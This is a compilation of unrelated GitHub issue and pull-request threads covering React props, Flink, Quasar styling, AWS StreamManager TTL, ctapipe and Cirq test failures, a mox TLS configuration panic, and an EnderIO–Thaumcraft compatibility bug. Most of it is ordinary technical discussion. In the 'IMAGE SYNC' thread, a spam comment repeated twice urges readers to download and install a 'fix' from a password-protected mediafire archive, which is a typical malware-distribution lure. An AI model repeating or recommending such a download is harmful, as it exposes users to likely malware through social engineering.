Selected Can't Change Props

line 60:
{!self.props.selected && (self.state.selected == el.props.name) ? React.cloneElement(el, self.state.props) : el}
Should be?
{!self.props.locked && (self.state.selected == el.props.name) ? React.cloneElement(el, self.state.props) : el}

Not sure what you're trying to do here. The locked prop is only for enabling the onLongPress action and disabling onPress. It has nothing to do with rendering. Could you provide more details on the problem you're seeing?

Please check latest version, now component is totally stateless.


Diagonal traversal

Do you think it would be desirable to add diagonal traversal to this algorithm?

Hi @Lewiscowles1986, it's possible to implement diagonal traversal by implementing Pather. The consumer of the library needs to implement Pather for their own world representation.
An example of implementing Pather orthogonally is in pather_test.go, however it should be trivial to make an implementation which also supported diagonals.


registry.hub.docker.com/r/charlocharlie/epicgames-freegames:latest

IMAGE SYNC

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


[FLINK-20574] [core] Block first request to mitigate excessive IncompleteInvocationContext roundtrips in RequestReplyFunction

For the first request, we block until response is received; for stateful applications, especially at restore time of a restored execution where there may be a large backlog of events and checkpointed inflight requests, this helps mitigate excessive hoards of IncompleteInvocationContext responses and retry attempt round-trips.

Some unit tests inRequestReplyFunctionTest is failing, am working at addressing those before this is merge-able.
It's mostly just poorly implemented UTs there and requires some attention to improve them.
Otherwise, the smoke E2Es are passing locally for me, so this is still a safe change that is worthwhile to consider.

As discussed offline with @igalshilman, we're not going to add any extra unit test coverage for this change for now.
We workaround the unit tests by toggling the isFirstRequestSent flag to always be true in the current unit tests.
However, we should definitely revisit the RequestReplyFunctionTest sometime.
I've opened a JIRA to track that: https://issues.apache.org/jira/browse/FLINK-23762

Merging this now ..


How to overwrite Quasar variables?

Hi there,
The docs mention that Quasar variables can be overwritten, can you point me to how?
Thanks!

I think I figured it out:
Assuming my _variables.scss is in [root]/src/assets/scss/_variables.scss
// nuxt.config.ts
// https://nuxt.com/docs/api/configuration/nuxt-config
export default defineNuxtConfig({

    quasar: {
        // THIS IS THE IMPORTANT BIT!
        sassVariables: 'src/assets/scss/_variables.scss',
    },

    vite: {
        css: {
            preprocessorOptions: {
                scss: {
                    // Make variables available everywhere
                    // THIS IS THE IMPORTANT BIT!
                    additionalData: '@use <EMAIL_ADDRESS>as *;',
                },
            },
        },
    },
}

// _variables.scss
@import "quasar/src/css/variables.sass";

/*
 * Quasar Variables
 */

$dark-shadow-color: rgba(0, 0, 0, 0.8);
$primary: #FF0000; // RED

With this setup everything seems to be working correctly:

Oof, most likely fixed by (657056)


Add Oldhim roll of honour

https://fabtcg.com/articles/roll-honor-oldhim/

https://fabtcg.com/articles/roll-of-honor-oldhim-grandfather-of-eternity/


StreamManager stream behaviour on full

Hi, I have a question regarding the stream behaviour and how to configure it properly.
The desired behaviour is following:

data are being produced by the device and appended to the stream (with RejectNewData strategy)
there is a kinesis export definition so the data are eventually uploaded to the Kinesis

Under normal conditions, I'd expect the data to be continuously uploaded and overwritten by new ones once uploaded.
In the case of a connectivity outage, the stream would eventually get filled in and start rejecting new "append" operations.
Once the connectivity is restored I'd expect that the backup to the cloud is restored.
Stream info:
MessageStreamDefinition(
    name=self._stream_name,
    max_size=max_size, # 128MB
    stream_segment_size=segment_size, # 16MB
    time_to_live_millis=..., # 3 days
    strategy_on_full=StrategyOnFull.RejectNewData,
    persistence=Persistence.File,
    flush_on_write=False,
    export_definition=ExportDefinition(
        kinesis=[KinesisConfig(
            identifier=str(uuid.uuid4()),
            kinesis_stream_name=kinesis_stream_name,
            batch_interval_millis=61000,
            batch_size=1
        )],
        iot_analytics=None,
        iot_sitewise=None,
        s3_task_executor=None
    )
)

Problem description
The observed behaviour for this configuration is that even if the device is online the already uploaded data are not deleted (probably caused by the 3 day TTL) which results in the stream being filled in and rejecting new messages even if they were successfully uploaded (exported bytes metric corresponds to the stream size).
How are the TTL and ExportDefinition connected? If both are configured how exactly does it work?
Multiple situations can occur:
Situation 1:

TTL: not exceeded yet
Exported: no
Expected behaviour: the record is persisted in the stream, ready for export, should not be deleted yet

Situation 2:

TTL: exceeded
Exported: no
Expected behaviour: the record is persisted in the stream, ready for export once it is possible, should not be deleted yet

Situation 3:

TTL: not exceeded
Exported: yes
Expected behaviour: the record is still persisted, waiting for TTL to be exceeded

Situation 4:

TTL: exceeded
Exported: yes
Expected behaviour: the record can be overwritten by new records

Questions:
Could you please take a look at the described situations and confirm/deny if the actual behaviour is the same as I've described as expected?
Can you please advise how to ensure that in Situation 2 the data are uploaded once it is possible (connectivity is restored)?
How to make sure (in Situation 3) that records that were already uploaded (and their TTL is not exceeded yet) are not preventing new ones from being appended to stream?
Thank you
Tom

Hello Tom,
Stream manager does not delete data which has been uploaded, so this is why you see that the stream can be full even when all data is uploaded. Data is only deleted according to the TTL policy and the behavior when full policy.

Hi Mike, thank you for your response. That unfortunately seems there is no way to guarantee consistency.
Is there any suggestion from your side to achieve the desired behaviour using the StreamManager or should I use a different technology?
I'll briefly summarize the situation and the behaviour I'd like to achieve.

Device is producing data, data are appended to a SM stream, eventually exported/uploaded to the Kinesis
Let's say a network problem occurs - In this case, the device shoud buffer data in the SM stream as long as possible until it is full (specified by the max stream size) - exception during the "append" call would stop the "processing"/creation of new records
Once the connectivity is restored, all the buffered records will be exported to the Kinesis, and space in the stream will be freed
Processing/creation of new records is resumed

The main point is that I'd like to have a consecutive block of records that is as long as possible and stop the creation of new records when we're not able to store or upload them. The processing/creation of new records should only be resumed once it is possible to upload/export them.
Thank you very much 🙏
Tom

Stream manager does let you query the stream to know what data has been exported, so you could query it prior to putting in new data to see if the export is keeping up or if it is falling behind. That's the only suggestion I can make for your case. The idea with the current implementation stream manager is that newer data is generally going to be more useful, so older data should be overwritten if it cannot be uploaded before the stream fills up.


Failing test and docs after clean installation of latest development version

I cleaned up my environment and re-installed the very latest version of the master branch (few minutes ago).
Installation goes ok, but one test fails and I am not sure if it's a real problem of something related to my setup.
______________________________________ ERROR collecting ctapipe/coordinates/tests/test_coordinates.py _______________________________________
ctapipe/coordinates/tests/test_coordinates.py:7: in <module>
    location = EarthLocation.of_site('Roque de los Muchachos')
../../anaconda3/envs/cta-dev/lib/python3.7/site-packages/astropy/coordinates/earth.py:351: in of_site
    registry = cls._get_site_registry()
../../anaconda3/envs/cta-dev/lib/python3.7/site-packages/astropy/coordinates/earth.py:532: in _get_site_registry
    reg = get_downloaded_sites()
../../anaconda3/envs/cta-dev/lib/python3.7/site-packages/astropy/coordinates/sites.py:139: in get_downloaded_sites
    jsondb = json.loads(content)
../../anaconda3/envs/cta-dev/lib/python3.7/json/__init__.py:348: in loads
    return _default_decoder.decode(s)
../../anaconda3/envs/cta-dev/lib/python3.7/json/decoder.py:337: in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
../../anaconda3/envs/cta-dev/lib/python3.7/json/decoder.py:355: in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
E   json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
========================================================== short test summary info ==========================================================
ERROR ctapipe/coordinates/tests/test_coordinates.py - json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Interrupted: 1 error during collection !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

During the compiling process of the documentation:
I first get a warning from astropy, not sure if it's related,
WARNING: IERSStaleWarning: leap-second file is expired. [astropy.utils.iers.iers]
then the build fails with a lot of errors related to I/O and various containers,
at the very end I get an error which seems related to the one thrown by pytest, triggered in the notebook tutorials/coordinates_example.ipynb.
I attach the log output of the documentation compilation process for more details.
make_doc_log_150520.zip

This seems to be a network issue downloading astropy data, not anything related to changes in ctapipe

Ah ok, good to know!
Also the other errors and warnings not related to astropy are due to this?
You can see them in the log I attached

I think some of those are real problems, because some of the examples fail, e.g.:

array_display.py crashes with an astropy.units.core.UnitConversionError,
calc_pedestals.py crashes with ImportError: cannot import name 'pedestals' from 'ctapipe.calib',
camera_rotation.py doesn't show anything, but I noticed that is just because a final plt.show() is missing,
coordinate_transformations.py crashes with a ValueError,
display_event.py doesn't work and when asked to display an event it crashes with AttributeError: 'R0CameraContainer' object has no attribute 'image',
plot_array_hillas.py seems to work, it just throws some warnings because some of the attributes of the coordinate frames are not specified,
plot_showers_in_nominal.py same as above,
plot_theta_square.py I think it works, but it finds an event with width=0 and crashes (maybe related to the discussion of yesterday on Slack?),
simple_event_writer.py is missing the input file, maybe we can use the test one from ctapipe-extra?
simple_pipeline.py same as above,
stereo_reconstruction.py crashes due to an IndexError when applying the image cleaning mask

There are some things in the output that got changed. But I don't see any problems with a fresh install on the current master (and travis succeeds).
Do you really have a fresh install / checkout? No additional files / changes? Did you run make clean before building the docs? Or pip install -e . ?

I can reproduce some errors with the examples

Ok, cleaning the docs again helped eliminating a lot of the bulk stuff.
For the rest, I followed religiously the instrucions :)
Now the only errors remaining are

the JSONDecodeError from astropy.coordinates (the shows up both from pytest and in tutorials/coordinates_example.ipynb),
an error in atexit._run_exitfuncs:les/table_writer_reader, specifically AttributeError: 'NoneType' object has no attribute 'send_multipart'.

I didn't try to rerun all the examples, but cleaning the docs cannot influence the examples

Fixes to all examples you mentioned in #1332
Seems like the astropy site catalog is broken, can you try to remove the astropy cache so it's downloaded again?
rm -r ~/.astropy/cache
The other error is happening since quite some time, but does not affect anythging. I couldn't find out how to get rid of this.

Ok, I confirm that cleaning the cache of astropy solves that error in both pytest and docs.
The warning WARNING: IERSStaleWarning: leap-second file is expired. [astropy.utils.iers.iers] when compiling the docs is still there, though (probably it has a different origin).
Now pytest ends correctly, only 2 caveats (probably not urgent for now):

the following 2 tests are skipped,

ctapipe/reco/tests/test_ImPACT.py::TestImPACT::test_image_prediction SKIPPED                                                           ctapipe/reco/tests/test_ImPACT.py::TestImPACT::test_likelihood SKIPPED

there are 91 warnings which  if you want I can share here (but I think you can see the same)

Is there an open issue about that old error? If not, I think we can open one and close this one.

I'll write you about the examples in the PR

The impact tests are skipped due to missing large test files (the image templates) this is known.
Yes, we currently have a lot of warnings. It would be great to get rid of some or all of them.
Some come from still using prod2 files in the testing (unknown pixel shape), some from the missing obstime / location for coordinate conversions, these could actually be just ignored, as they by design that way.

The impact tests are skipped due to missing large test files (the image templates) this is known.

OK

Yes, we currently have a lot of warnings. It would be great to get rid of some or all of them.
Some come from still using prod2 files in the testing (unknown pixel shape), some from the missing obstime / location for coordinate conversions, these could actually be just ignored, as they by design that way.

Should I open a new issue about this? Just as a reference?
I can paste the output there if needed.

No need to paste the output, they are in every travis log.

Ok
Do you agree to close this?


Flaky tests and circuit operation selection

Introduction
Several tests, including test_clifford_circuit_2 in Cirq/cirq-core/cirq/sim/clifford/clifford_simulator_test.py and test_example_runs_bb84 in Cirq/examples/examples_test.py, seem to be flaky when all seed-setting code (e.g. np.random.seed(0) or tf.random.set_seed(0)) is commented out.
For instance, in commit 8cef3d9dc16b27e3b10184e1b72afa764efe590d (version 0.11.0), test_clifford_circuit_2[qubits0] and test_clifford_circuit_2[qubits1] fail ~24% and ~30% of the time (each out of 500 runs) compared to 0% of the time (each out of 500 runs) when no seed-setting code is removed. Similarly, test_example_runs_bb84 fails ~32% of the time (out of 500 runs) compared to 0% of the time (out of 500 runs) when no seed-setting code is removed.
test_clifford_circuit_2 tests the Clifford circuit simulator while test_example_runs_bb84 tests the example implementation of the BB84 QKD protocol.
Motivation
Some tests can be flaky with high failure rates, but are not discovered when the seeds are set. We are trying to stabilize such tests.
Environment
The tests were run using pytest 6.2.2 in a conda environment with Python 3.6.13. The OS used was Ubuntu 16.04.
Discussion
The reason for the flakiness appears to be the use of seed-setting code when selecting circuit operations. For example, test_clifford_circuit_2 checks the value of sum(result.measurements['0'])[0] at the end of the test (and ensures it is between 20 and 80). However, the value of sum(result.measurements['0'])[0] is always 49 when the seed-setting code is not removed since the circuit being simulated remains the same from run to run. (On the other hand, when the seed-setting code is removed, the circuit being simulated does not remain the same and, hence, the value of sum(result.measurements['0'])[0] is not always between 20 and 80.) test_example_runs_bb84 is flaky when seed-setting code is removed for a similar reason.
We would be interested in learning if setting the seed enables the selection of a restricted class of circuit operations. We would also be interested in learning if there are any ways of addressing the seed-setting code in the test. We will be happy to raise a Pull Request to fix the tests and incorporate any feedback that you may have.

Thank you for digging into this @melonwater211! In general tests should not rely on random inputs to test important behavior. Seeds are useful for nail down randomness in production code. A PR would be more than welcome to fix this!

@balopat Thank you for the response.

Frankly, I don't think test_clifford_circuit_2 is a valid test. There's no guarantee that qubits[0] will be put into a superposition of |0) and |1) by applying random gates to qubits; in fact, the chance of this happening is relatively small. Thus, the check at the end (20% < p(|0)) < 80%) is not relevant outside of the chosen simulation seed, as you observed.
(Note that test_clifford_circuit[_3] are valid tests, since the full state produced by Simulator.simulate is deterministic.)
Fixing this test would require removing the random circuit generation and replacing it with a hardcoded circuit that covers all of the expected behavior while also ensuring that qubits[0] ends up in an even superposition of |0) and |1). You could optionally do this by hardcoding the circuit generated by the fixed-seed version of the test.

@95-martin-orion Thank you for the response. I agree: it does not seem like the test should use nondeterminism, especially since it appears that it may difficult to verify the correctness of the simulator's results if the input were a random circuit. The other test_clifford_circuit tests appear to have more robust methods of verifying correctness but using those methods may render test_clifford_circuit_2 redundant.
One potential issue with setting the seed to obtain a certain circuit is that a change in the implementation of the RNG may cause a different circuit to be tested in the future. Would saving the current circuit in a test configuration file be a good way of resolving the flakiness? Additionally, it does seem that the assertion should be adjusted to check if sum(result.measurements['0'])[0] has a value of 49, rather than checking if the value is between 20 and 80.

Would saving the current circuit in a test configuration file be a good way of resolving the flakiness?

This seems reasonable, although we should first confirm that the current circuit generates a Bell state (i.e. an equal superposition of |0) and |1)).

Additionally, it does seem that the assertion should be adjusted to check if sum(result.measurements['0'])[0] has a value of 49, rather than checking if the value is between 20 and 80.

I'd prefer to keep the looser assertion on this, even though specifying a seed will enforce a specific result. The reason for this is that we want the test to capture our expectations: if the circuit produces a Bell state, measuring from it has a 50% chance of producing a zero - so our expectation is that the number of zeros measured is e.g. in the range 40 < x < 60.
@melonwater211, would you like to take on fixing this issue?

Is this fixed now?

I think we can close now since our tests now have a more fixed random seed and the function now uses a fixed random generator for that test.


Google Analytics in the Index ?

Hi,
How about Google Analytics tracking on the Index :p
Can we replace it by something else ? Piwik ?
Salutations amicales.

I really don't like Google Analytics myself (I block it on all my browsers).
But it is a simple solution, maybe in a later stage I'll move everything to PIWIK but I don't feel like running my own server for now.
Firebase is owned by Google anyway :p


Microsoft.Dynamics.DataEntities.ExportToPackage definitionGroupId

It should be noted here the "definitionGroupId" is NOT the DefinitionGroupId field from the data project, the NAME of the data project needs to be used here. This API does not return an error when submitting a job with the incorrect name.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 85d06c76-517e-c0f9-f089-be75a47c1605
Version Independent ID: 18059b14-4123-298f-51b0-c870f13a9bdc
Content: Data management package REST API - Finance & Operations | Dynamics 365 | #MSDyn365FO
Content Source: articles/dev-itpro/data-entities/data-management-api.md
Service: dynamics-ax-platform
GitHub Login: @Sunil-Garg
Microsoft Alias: sunilg

@Sunil-Garg bug @ 303300 is logged for investigation.

Thanks, the doc had been updated. Pls give a day for the changes to reflect.


How to save the mesh of the current pose state of shadowHands

Hi, thanks for your excellent work. I wonder if it is possible to save the mesh of the current pose state of shadow hands?

No, there is no method to save the mesh. You could record the joint states, which would lead to that pose.
Not sure this helps, or maybe I misunderstood the question ;)

No, there is no method to save the mesh. You could record the joint states, which would lead to that pose.
Not sure this helps, or maybe I misunderstood the question ;)


DeepSpeed large checkpoints, training on multi GPU

Hello,
I want to train a model from scratch with some modifications (especially in size) on a multi-node, multi-GPU environment. For that, I am using DeepSpeed, more precisely, the DeepSpeedPlugin with this deep_speed_config.json:
{
  "optimizer": {
    "type": "Adam",
    "params": {
      "lr": 0.001,
      "eps": 1e-05
    }
  },
  "fp16": {
    "enabled": false,
    "min_loss_scale": 1
  },
  "amp": {
    "enabled": false,
    "opt_level": "O2"
  },
  "bfloat16": {
    "enabled": false
  },
  "zero_optimization": {
    "stage": 2,
    "cpu_offload": false,
    "contiguous_gradients": true
  },
  "activation_checkpointing": {
    "partition_activations": true,
    "cpu_checkpointing": false,
    "profile": false
  },
  "gradient_clipping": 0.1
}

For checkpointing, the files mp_rank_00_model_states.pt (9GB), zero_pp_rank_0_mp_rank_00_optim_states.pt (13GB), zero_pp_rank_1_mp_rank_00_optim_states.pt (13GB), etc (the optimizer checkpoints are written per GPU if I am not mistaken)
The actual needed model weights for inference are obviously smaller since mp_rank_00_model_states.pt contains more information.
But now I was wondering, do those files really have to be that huge or is it possible to shrink them down somehow?
If I train on e.g. 10 GPUs, doesn't that mean I would fill up >100GB of storage just to store one checkpoint to resume training / save the best performing model?
I am currently struggling a bit with this since the writing of a checkpoint takes ages and this means, during that time training is delayed.
Do you have any suggestions for me or am I just missing some configuration I could potentially set?
Thanks in advance and thank you very much for this great repo!

My checkpoints aren't nearly that big (just 1.7GB total) and I'm training on 44 GPUs. Have you made any other modifications to the code?

Thanks for your quick response and sorry for my late reaction.
Indeed I have changed the architecture and added some modules for research purposes. But that means that you still have to write/store about 75G per checkpoint in total? If so, is there really no way to get around this?

No, I store 1.7GB per checkpoint in total. I suspect that something is wrong with your version. Are you massively increasing the number of parameters or something.

Ohh ... the modules I added to the architecture are quite large, in total I have about 1.2B parameters, should result in checkpoints of size about 5GB if I am not mistaken.
I have also enabled pTM-Score but this should not be that heavy.
As far as I can tell, the 9G is due to the fact that the mp_rank_00_model_states.pt does not only contain the actual model weights but also the EMA-version of those --- which are used for inference if, aren't they?
But this still does not explain the huge size of the zero optim states.
Unfortunately I cannot go down with the number of parameters but from what I have read from DeepSpeed, they usually train with way larger models and don't have any issues.
But it seems like you didn't have to encounter this problem in the first place, still thanks.
Related question, if I specify the optimizer inside of the DeepSpeed config, is this better than using the configure_optimizers method in the OpenFoldWrapper? What is the recommended way because I receive the UserWarning that I might want to use the PT Lightning call instead of the DeepSpeed config.

Does it get much smaller if you disable the EMA module (try commenting out every line referencing self.ema in train_openfold.py)

Disabling the EMA cuts the mp_rank_00_model_states.pt in half to about 4.5G (this is about expected from what I can tell) but the zero optim states seem to remain unchanged.
What I find odd is that if I use the PTL optimizers (not specifying the optimizers in the DeepSpeed config) the zero optim states seem to stay this large and the model state also does not change in size, is this expected? The strategy is still set to DeepSpeed.

Yeah that's what I'd expect. Perhaps this is something to bring up with the DeepSpeed devs?

Yeah, sounds fair. I am closing this since it does not seem to be caused by Openfold.


custom certificate file and key

Hi, first of all thank you for this great project.
I am trying to use mox on my vps with an api already serving at http and https ports. I want to use both of them at same server. I started mox with mox quickstart<EMAIL_ADDRESS>and edited the mox.conf as suggested at docs and replaced tls config with my certificate file path and private key. The mox works well if I use ACME but it panics when I change it like this:
DataDir: ../data
LogLevel: error
Hostname: mail.mydomain.com
CheckUpdates: true
AdminPasswordFile: adminpasswd

Listeners:
  internal:
    IPs:
      - <IP_ADDRESS>
      - ::1
      - <some other public ip's>
    Hostname: localhost
    TLS:
      ACME: letsencrypt
      KeyCerts:
        -
          CertFile: /path/to/the/cert
          KeyFile: /path/to/the/key
    SMTPMaxMessageSize: 1048576
    AccountHTTP:
      Enabled: false
    AdminHTTP:
      Enabled: false
    MetricsHTTP:
      Enabled: false
  public:
    IPs:
      - <IP_ADDRESS>
      - ::
    TLS:
      ACME: letsencrypt
    SMTP:
      Enabled: true
    Submissions:
      Enabled: true
    IMAPS:
      Enabled: true
    AutoconfigHTTPS:
      Enabled: false
    MTASTSHTTPS:
      Enabled: false
Postmaster:
  Account: mail
  Mailbox: Postmaster

And this is the panic message:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x8e1c62]

goroutine 1 [running]:
github.com/mjl-/mox/mox-.PrepareStaticConfig({0x0?, 0x0?}, {0xca4e52, 0xf}, 0xc0000bd900, 0x0)
        /home/bulutlinux/go/pkg/mod/github.com/mjl-/mox@v0.0.1/mox-/config.go:440 +0xf42
github.com/mjl-/mox/mox-.ParseConfig({0xddcd58, 0xc000038080}, {0xca4e52, 0xf}, 0x0)
        /home/bulutlinux/go/pkg/mod/github.com/mjl-/mox@v0.0.1/mox-/config.go:347 +0x52c
github.com/mjl-/mox/mox-.LoadConfig({0xddcd58?, 0xc000038080?})
        /home/bulutlinux/go/pkg/mod/github.com/mjl-/mox@v0.0.1/mox-/config.go:310 +0x4e
github.com/mjl-/mox/mox-.MustLoadConfig()
        /home/bulutlinux/go/pkg/mod/github.com/mjl-/mox@v0.0.1/mox-/config.go:295 +0xc5
main.cmdServe(0xc0000b6f80)
        /home/bulutlinux/go/pkg/mod/github.com/mjl-/mox@v0.0.1/serve.go:135 +0x7c
main.main()
        /home/bulutlinux/go/pkg/mod/github.com/mjl-/mox@v0.0.1/main.go:407 +0x922

It doesnt panic if I change the line after KeyCerts to something like this
KeyCerts:
  - cert:

but this time it gives this error:
fatal: "loading config file": "parsing config/mox.conf: :<line number of "- cert:">: expected indent" (pkg: mox)

Thanks for the report! I'll look into why that panic is happening. But if you aren't using ACME, you should remove the "ACME: letsencrypt" lines. That may already get you further.
And the reason it doesn't panic with your KeyCerts change is that it makes the configuration file invalid (invalid syntax), so it never makes it to the code that panics. The syntax may look a bit weird, this isn't yaml, so you really need to use something like this:
      KeyCerts:
        -
          CertFile: /path/to/the/cert
          KeyFile: /path/to/the/key

I'm getting different errors with the config file you posted:
multiple errors:
listener "internal": cannot have ACME and static key/certificates
listener "public": unknown ACME provider "letsencrypt"

Is there more in the mox.conf file? I would at least expect the ACME provider named "letsencrypt". You could also send me the config files (minus keys of course) to<EMAIL_ADDRESS>so I can try to reproduce this panic.
But a few more observations:

Listener "internal" probably doesn't need TLS? At least it is not being used: AccountHTTP, AdminHTTP and MetricsHTTP are all plain text, not TLS. So you can probably just remove the whole TLS section from "internal". Or better, move the KeyCerts to "public".
The "public" listener does need TLS: The "s" or "S" at the end of: Submissions, IMAPS, AutoconfigHTTPS, MTASTSHTTPS. There should be no ACME there, only the KeyCerts config.
Did you put <IP_ADDRESS> and :: in the IPs for listener "public" to not have to post them here in the issue? It's best to leave the actual external IPs configured. Because then mox only uses those IPs for outgoing connections, such as for SMTP delivery. Mox can check if its IPs have proper reverse DNS configured (pretty much required if you want mail delivery to succeed reliably), but that only helps if no other IPs are used for outgoing connections.

Ah, I was testing with "mox config test", which has a different code path. Mox is continuing on config errors, and then dereferencing the unset acme variable. I'll go fix that. Hopefully removing the ACME-line in the config makes mox start with your setup.

Thanks for the clear report and for sticking with mox!
http/web.go was incorrectly initializing acme on port 443 even with only the keycerts configured. Should be fixed in latest commit. Could you give it another try?
Btw, with AutoconfigHTTPS and especially MTASTSHTTPS disabled, you should remove the relevant DNS records.
Or you could let mox listen on a higher port (e.g. add "Port: 1443") and forward (reverse proxy) traffic from your existing webserver to that port (the reverse proxy must connect with TLS at the moment).
I'm also considering adding a simple reverse http proxy to mox, so mox can be in charge, and forward all traffic not meant for it to configured addresses, while doing TLS with ACME. Not sure if folks will find it a comfortable idea that their web traffic is handled by their mail server though...

Latest patch solved my issue. Thank you so much :)
I may consider supporting AutoconfigHTTPS and MTASTSHTTPS on my server but currently this setup is mostly enough for me.
Most users already use their own reverse proxy or a well known one, but for simple operations it might be nice if mox supports it. I don't know much about this as I'm not an expert though.


Beta Prep

This PR will

.

When merged, v1.0.0-beta will be ready to be published.

This last commit adds the requiredIndicator and customRequiredIndicator feature mentioned in #15.
It also adds an indicatorClass prop to the GravityForm component so devs can style the indicator like they want.
When requiredIndicator is "TEXT", or "CUSTOM" and customRequiredIndicator is null, the indicator is  Required with an intentional space before the word. This may change if needed.


3.11.0

have to merge it this way due to protected branch hook branch hook

tag is already pushed, not going to publish until this is merged in

and we are green

and published to npm

@calvinmetcalf cheers,  and annoying as it can be,  the protected branch hook is great for keeping up the visibility.
Thanks :+1:


[5.0.26] Strange Interaction with Rotten Flesh, Thaumcraft, Natura

Issue Description:
Rotten Flesh fails to have any thaumcraft aspects.
What happens:
^
What you expected to happen:
Rotten Flesh having aspects (namely Humanus, Victus, Perditio)
Steps to reproduce:

Install the following modset:
Baubles [1.5.2]
EnderCore [0.5.30]
EnderIO [5.0.26]
Mantle [<IP_ADDRESS>]
Natura [<IP_ADDRESS>]
Thaumcraft [6.1.BETA16]
Forge [<IP_ADDRESS>07]
Hold shift while mouse is over Rotten Flesh in inventory

Affected Versions:

EnderIO: 5.0.26
EnderCore: 0.5.30
Minecraft: 1.12.2
Forge: <IP_ADDRESS>07

Your most recent log file where the issue was present:
https://gist.github.com/Plet53/af00c40809b5d825ea137f1b8964a172

This doesn't sound like an Ender IO issue at all. Can you replicate it without ender io?

That's the screwed up part.
I can't

Coal and snowballs also don't have aspects with the .26 and .25 versions
The .24 version has them

Yes, the issue was around before then

This issue isn't resolved with the 5.0.29 version of EnderIO. Is it possible to turn this off with a config option or something?

This issue is present in my game (has EnderIO 5.0.26 and EnderCore 0.5.31 with Forge <IP_ADDRESS>05 and MC 1.12.2), though I did not know it was a bug until now.

https://github.com/SleepyTrousers/EnderIO/blob/540cd7dae3dbcf4ed55f43e12c22bdcdd1035280/enderio-base/src/main/java/crazypants/enderio/base/integration/thaumcraft/ThaumcraftAspects.java#L26
I changed .add(getAspects(Items.COAL)) to .add(Aspect.FIRE, 10).add(Aspect.ENERGY, 10) and the normal coal got its aspects back, is getAspects buggy somehow when used like this?

Yeah im going to go report that....

@tyler489 Did you file a bug with azanor's github?
I just commented out the entire method loadAspects and things went back to normal. I know it's not a great fix, but Thaumcraft integration that breaks Thaumcraft isn't very useful to me. I was using an older EnderIO build, but it didn't have the refined storage conduits.
I don't know what part of the subrouting is breaking aspects on snow, because nothing references snow in that section that I noticed.
It would be great if you just removed the aspect integration in the next EnderIO release to fix Thaumcraft until the real problem is fixed.
Thanks.

https://github.com/SleepyTrousers/EnderIO/pull/4781
I submitted a pull request to remove the loadAspects function which restores the aspects that were lost with EnderIO integration. Hopefully the actual problem will be resolved and this won't be necessary, but it's an okay "right now" fix.

You can also readd the lost aspects using ModTweaker. Here is a demo ZenScript that readds Coal and Coal block aspects. It was tested with EnderIO 5.0.29 and EnderCore 5.35.
import thaumcraft.aspect.CTAspectStack;
readd aspects that EnderIO integration breaks
minecraft:coal.setAspects(aspect:ignis*10, aspect:potentia*10);
minecraft:coal_block.setAspects(aspect:ignis*67, aspect:potentia*67);

What makes you think this will ever be fixed, jd? I'm inclined to just completely remove Thaumcraft support for good...

It may not be, but TC is still in beta. A public beta, but still a beta. It's not even complete, so the term beta is a rather charitable one.
If maintaining the TC support code is problematic, I would drop it. You guys are doing amazing work for free, and I very much appreciate it.

Finally heard back from anazor.... 13 days later
https://gyazo.com/738a469b6002d4d9139194c517191b44

Even if there is no good way to know if his code has been run and calculated aspects already before the Ender IO code runs, why should calling his library functions break aspects on other items later? His response doesn't fully address the problem I think.

In init, as the Thaumcraft API states to use it "once Thaumcraft is past the FMLPreInitializationEvent phase". But moving that to after postInit should not be too hard. Sad that it took 2 months to get that tiny bit of information...

As of Beta 20 there's a new event for aspect registration and anything done before Thaumcraft's registration is cleared.

Yes i reported this on the discord already.

This is still a current problem even with Thaumcraft Beta 23 and Natura. Strangely enough, it does not happen if you remove Natura. I hope we can see an update to the Thaumcraft API soon.

Mario, Thaimcraft API changes won't help here, the most they can do is crash the game when Natura is installed. This needs a change in Natura, they need to register their aspects in post init instead of pre init as the old Thaumcraft API documentation claimed. Might be worth telling them (hint, hint)...

Yes but from what I can tell, I could not find any Thaumcraft integration code in Natura at all. I'm not sure if I missed it or not, but the issue does not persist if Ender IO is removed as well. It only happens if both are running. I'm only bringing this up here because of the weird nature of this, that it specifically needs both mods - not one or the other.

what version of enderio are u using as enderio fixed this already?

Quite sure this has nothing to do with Ender IO---we don't use Items.ROTTEN_FLESH at all in the Thaumcraft aspect code.
My guess is that there's a third mod in there that has a dependency on Ender IO, Natura, mantle, and/or Tinkers. When you add both Natura and Ender IO, the loading order gets shifted so that mod is loaded before Thaumcraft---triggering the error.

I do not have this issue in my own pack and I don't have Natura in there. Ender IO currently has no aspects but that's because thaumcraft changed to using an event for the aspect implementation.

Thaumcraft did change the API back around Aug 3rd to use an event for registration, and it does not look like Ender IO has updated the Thaumcraft API for about 4 months according to the repository. I have already tested all of this in an instance with only Natura, Ender IO, Thaumcraft and JEI - plus all core mods needed. Its not anything else, its certainly isolated to one of these mods. Thaumcraft calculates some aspects through recipes and the like, so that might be how it gets down to Rotten Flesh.

Like epic said thaumcraft made everything happen in an event  and enderio doesn't  use that event yet.. therefor  it  can not be enderio breaking it.

I can't explain why he doesn't get aspects, but that is irrelevant. The old methods to register aspects still work, they are only deprecated and will be removed in the future. They still fully work right now, and I can confirm that Ender IO has aspects on all of its alloys minus End Steel plus the other things it adds aspects to, like the tormented Enderman head.

see also https://github.com/Azanor/thaumcraft-beta/issues/1619


Add calendar view back

Some of the calendar css was accidentally removed in a previous commit. This adds it back and also makes some improvements.

Style the calendar page
Add Pikadate to the "start time" text field
Parse "start time" and set the default timezone before saving it to the db

The calendar item show/edit/new pages still need to be styled.

@malissaromero @AliTopal89 I was able to add your latest changes to the calendar view back. I'll merge it if it looks good to you.

@osondoar this looks great! Thank you so much 😃

🎉 I'm very happy to see your work on the calendar view finally making it into master.
I'll merge it during the weekend in case somebody else has any comments.


Move MeasureMap from the API to the implementation.

